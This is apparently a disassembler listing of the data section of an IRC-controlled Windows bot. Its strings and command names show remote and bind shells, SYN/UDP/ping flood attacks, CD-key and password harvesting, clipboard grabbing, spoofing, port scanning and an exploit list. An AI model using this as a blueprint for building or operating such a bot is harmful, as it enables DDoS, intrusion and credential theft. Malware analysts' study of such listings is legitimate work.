					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C194	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2859o
		dd 2E676Fh
dword_42C1AC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1C8	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1E4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
unk_42C200	db  2Dh	; -		; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42C23C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Fo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
dword_42C280	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
dword_42C2A0	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25AEo
		dd 2E7325h
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42C300	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C32C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C348	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C360	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42C3B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C408	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C42C	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C468	db  2Dh	; -		; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C4E0	db  2Dh	; -		; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C558	db  2Dh	; -		; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C58C	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42C620	db  2Dh	; -		; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 10h
unk_42C6A0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C71C	db  2Dh	; -		; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
dword_42C788	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B98o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
dword_42C8AC	dd 6F6877h		; DATA XREF: sub_401ACD+193Fo
dword_42C8B0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8BC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Fo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
aT:					; DATA XREF: sub_401ACD+1709o
					; ___:004382F8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 4
aI:					; DATA XREF: sub_401ACD+168Do
					; ___:00438304o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1663o
					; ___:00438310o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 10h
aQ:					; DATA XREF: sub_401ACD+1639o
					; ___:off_4382E8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 4
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA68	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA88	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 4
dword_42CAAC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 4
dword_42CAFC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB44	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB78	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
dword_42CB88	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
dword_42CB98	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
dword_42CBA8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
dword_42CBB8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
dword_42CBC4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
dword_42CBD0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
dword_42CBDC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBF4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
dword_42CC00	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC18	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
dword_42CC28	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC44	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
dword_42CC54	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 10h
dword_42CC70	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
dword_42CC7C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC90	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
dword_42CC9C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
dword_42CCA8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
dword_42CCC4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1159o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCE4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1130o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CD04	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 10h
dword_42CD20	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 4
dword_42CD3C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD64	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
aD:					; DATA XREF: sub_401ACD+EFAo
					; ___:00438314o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 10h
asc_42CE10:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D15o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 10h
asc_42CE50:				; DATA XREF: sub_401ACD+ABBo
					; ___:0043832Co ...
		unicode	0, <l>,0
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CEF0	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CF18	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF98	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CFB0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFB8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFD4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFE0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
unk_42CFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42D020	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42D028	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
unk_42D03C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42D060	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177D0:loc_417838o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
